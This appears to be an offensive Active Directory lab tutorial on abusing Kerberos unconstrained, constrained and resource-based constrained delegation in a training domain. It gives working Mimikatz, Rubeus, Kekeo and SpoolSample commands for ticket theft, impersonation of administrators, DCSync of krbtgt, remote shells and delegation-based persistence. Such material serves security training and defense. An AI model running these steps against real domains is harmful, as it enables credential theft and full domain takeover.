Kerberos Delegation allows to "reuse the end-user credentials to access resources hosted on a different server". This is typically useful in multi-tier service or applications where Kerberos Double Hop is required.
For example, a user authenticates to a web server and web server makes requests to a database server. The web server can request access to resources (all or some resources depending on the type of delegation) on the database server as the user (impersonation) and not as the web server's service account.
Please note that, for the above example, the service account for web service must be trusted for delegation to be able to make requests as a user.
There are two types of Kerberos Delegation:
- General/Basic or Unconstrained Delegation which allows the first hop server (web server in our example) to request access to any service on any computer in the domain.
- Constrained Delegation which allows the first hop server (web server in our example) to request access only to specified services on specified computers.
- A user provides credentials to the Domain Controller.
- The DC returns a TGT.
- The user requests a TGS for the web service on Web Server.
- The DC provides a TGS.
- The user sends the TGT and TGS to the web server.
- The web server service account use the user's TGT to request a TGS for the database server from the DC.
- The web server service account connects to the database server as the user.
When unconstrained delegation is enabled, the DC places user's TGT inside TGS (Step 4 in the previous diagram).
When presented to the server with unconstrained delegation, the TGT is extracted from TGS and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user.
This could be used to escalate privileges in case we can compromise the computer with unconstrained delegation and a Domain Admin connects to that machine.
Discover domain computers which have unconstrained delegation enabled.
- PowerView
Get-DomainComputer -UnConstrained
- AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Compromise the server(s) where Unconstrained delegation is enabled. We must trick
a domain admin or other high privilege user to connect to a service on us-web.
After the connection, we can export TGTs using the below command:
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'
The ticket could be reused:
Invoke-Mimikatz –Command '"kerberos::ptt ticket.kirbi"'
How do we trick a high privilege user to connect to a machine with Unconstrained Delegation? The Social Engineering way!
How do we trick a high privilege user to connect to a machine with Unconstrained Delegation? The Printer Bug!
A feature of MS-RPRN which allows any domain user (Authenticated User) can force any machine (running the Spooler service) to connect to second a machine of the domain user's choice.
Abusing Printer Bug (yes the attacker is wearing a Balaclava :P)
Let's use MS-RPRN.exe (https://github.com/leechristensen/SpoolSample) on usweb
:
.\MS-RPRN.exe \\us-dc.us.techcorp.local \\us-web.us.techcorp.local
We can capture the TGT of us-dc$
by using Rubeus
(https://github.com/GhostPack/Rubeus) on us-web
:
.\Rubeus.exe monitor /target:US-DC$ /interval:5 /nowrap
Copy the base64 encoded TGT, remove extra spaces and use it on the attacker' machine:
.\Rubeus.exe ptt /ticket:<base64-string>
Or you can use Invoke-Mimikatz
:
[IO.File]::WriteAllBytes("C:\AD\Tools\USDC.kirbi", [Convert]::FromBase64String("<base64_string_from_Rubeus_monitor>"))
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\USDC.kirbi"'
Then run DCSync:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
Constrained Delegation allows access only to specified services on specified computers as a user.
To impersonate the user, Service for User (S4U) extension is used which provides two extensions:
- Service for User to Proxy (S4U2proxy): Allows a service to obtain a TGS to a second service (controlled by SPNs on
msDs-AllowedToDelegateTo
) on behalf of a user. - Service for User to Self (S4U2self): Allows a service (must have
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
) to obtain a forwardable TGS to itself on behalf of a user (no actual Kerberos authentication by user takes place). Used in Protocol Transition i.e. when user authenticates with non-Kerberos authentication.
To abuse constrained delegation with protocol transition, we need to compromise the web service (first hop) account. If we have access to that account, it is possible to access the services listed in msDSAllowedToDelegateTo
of the web service account as ANY user.
- A user authenticates to the web service using a non-Kerberos compatible authentication mechanism.
- The web service requests a ticket from the Key Distribution Center (KDC) for user's account without supplying a password, as the webservice account.
- The KDC checks the webservice
userAccountControl
value for theTRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
attribute, and that user's account is not blocked for delegation. If OK it returns a forwardable ticket for user's account (S4U2Self
). - The service then passes this ticket back to the KDC and requests a service ticket for the SQL Server service.
- The KDC checks the
msDS-AllowedToDelegateTo
field on the web service account. If the service is listed it will return a service ticket for MSSQL (S4U2Proxy
). - The web service can now authenticate to the sql server as the user using the supplied TGS.
To enumerate computers / users with constrained delegation:
- PowerView
Get-DomainUser –TrustedToAuth
Get-DomainComputer -TrustedToAuth
- AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Using Kekeo, we request a TGT for the first hop service account (we can use a password or NTLM hash):
tgt::ask /user:appsvc /domain:us.techcorp.local /rc4:1D49D390AC01D568F0EE9BE82BB74D4C
Another interesting issue in Kerberos is that the delegation occurs not only for the specified service but for any service running under the same account. There is no validation for the SPN specified. This is huge as it allows access to many interesting services when the delegation may be for a non-intrusive service!
Using Kekeo, we request a TGS (steps 4 & 5):
tgs::s4u /tgt:[email protected]_krbtgt~us.techcorp.loc [email protected] /user:Administrator /service:CIFS/us-mssql.us.techcorp.local|HTTP/usmssql.us.techcorp.local
In addition to the service specified in msDs-AllowedToDelegateTo
, we also specify an alternate service which uses the same service account as the one speficied in msDs-AllowedToDelegateTo
.
Using Mimikatz:
Invoke-Mimikatz '"kerberos::ptt [email protected][email protected]_ALT.kirbi"'
Then try to remotely execute command on US-MSSQL:
Invoke-Command -ScriptBlock{whoami} -ComputerName usmssql.us.techcorp.local
Alternatively, we can use Rubeus.exe:
Rubeus.exe s4u /user:appsvc /rc4:1D49D390AC01D568F0EE9BE82BB74D4C /impersonateuser:administrator /msdsspn:CIFS/usmssql.us.techcorp.local /altservice:HTTP /domain:us.techcorp.local /ptt
winrs -r:us-mssql cmd.exe
Note that the msDS-AllowedToDelegateTo
is the user account flag which controls the services to which a user account has access to. This means, with enough privileges, it is possible to access any service from a user – a neat persistence trick.
Enough privileges = SeEnableDelegationPrivilege
on the DC and full rights on the target user - default for Domain Admins and Enterprise Admins.
That is, we can force set 'Trusted to Authenticate for Delegation
' and ms-DS-AllowedToDelegateTo
on a user (or create a new user - which is more noisy) and abuse it later.
- PowerView
Get-DomainUser –TrustedToAuth
Set-DomainObject -Identity devuser -Set @{serviceprincipalname='dev/svc'}
Set-DomainObject -Identity devuser -Set @{"msds-allowedtodelegateto"="ldap/usdc.us.techcorp.local"}
Set-DomainObject -SamAccountName devuser1 -Xor @{"useraccountcontrol"="16777216"}
Get-DomainUser –TrustedToAuth
- AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDSAllowedToDelegateTo
Set-ADUser -Identity devuser -ServicePrincipalNames @{Add='dev/svc'}
Set-ADUser -Identity devuser -Add @{'msDS-AllowedToDelegateTo'= @('ldap/usdc','ldap/us-dc.us.techcorp.local')} -Verbose
Set-ADAccountControl -Identity devuser -TrustedToAuthForDelegation $true
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDSAllowedToDelegateTo
To abuse, use Kekeo:
tgt::ask /user:devuser /domain:us.techcorp.local /password:Password@123!
tgs::s4u /tgt:[email protected][email protected] orp.local.kirbi /user:[email protected] /service:ldap/us-dc.us.techcorp.local
Then use Mimikatz to ptt:
Invoke-Mimikatz -Command '"kerberos::ptt
[email protected]@us.techcorp.local_ldap~usdc.us.techcorp.local@us.techcorp.local.kirbi"'
Perform DCSync:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
Alternatively, we can use Rubeus:
Rubeus.exe hash /password:Password@123! /user:devuser /domain:us.techcorp.local
Rubeus.exe s4u /user:devuser /rc4:539259E25A0361EC4A227DD9894719F6 /impersonateuser:administrator /msdsspn:ldap/us-dc.us.techcorp.local /domain:us.techcorp.local /ptt
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"
Resource-based Constrained Delegation moves delegation authority to the resource/service administrator.
Instead of SPNs on msDs-AllowedToDelegatTo
on the front-end service like web service, access in this case is controlled by security descriptor of msDSAllowedToActOnBehalfOfOtherIdentity
(visible as PrincipalsAllowedToDelegateToAccount
) on the resource/service like SQL Server service.
That is, the resource/service administrator can configure this delegation whereas for other types, SeEnableDelegation
privileges are required which are, by default, available only to Domain Admins.
To abuse RBCD in the most effective form, we just need two privileges.
- Control over an object which has SPN configured (like admin access to a domain joined machine or ability to join a machine to domain -
ms-DS-MachineAccountQuota
is 10 for all domain users) - Write permissions over the target service or object to configure
msDS-AllowedToActOnBehalfOfOtherIdentity
.
We already have access to a domain joined machine. Let's enumerate if we have Write permissions over any object.
- PowerView
Find-InterestingDomainAcl | ?{$_.identityreferencename -match 'mgmtadmin'}
Using the ActiveDirectory module, configure RBCD on us-helpdesk
for student machines :
$comps = 'student64$'
Set-ADComputer -Identity us-helpdesk -PrincipalsAllowedToDelegateToAccount $comps
Now, let's get the privileges of student64$
by extracting its AES keys:
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
Use the AES key of studentx$ with Rubeus and access us-helpdesk
as ANY user we want:
.\Rubeus.exe s4u /user:student64$ /aes256:d1027fbaf7faad598aaeff08989387592c0d8e0201ba453d 83b9e6b7fc7897c2 /msdsspn:http/us-helpdesk /impersonateuser:administrator /ptt
winrs -r:us-helpdesk cmd.exe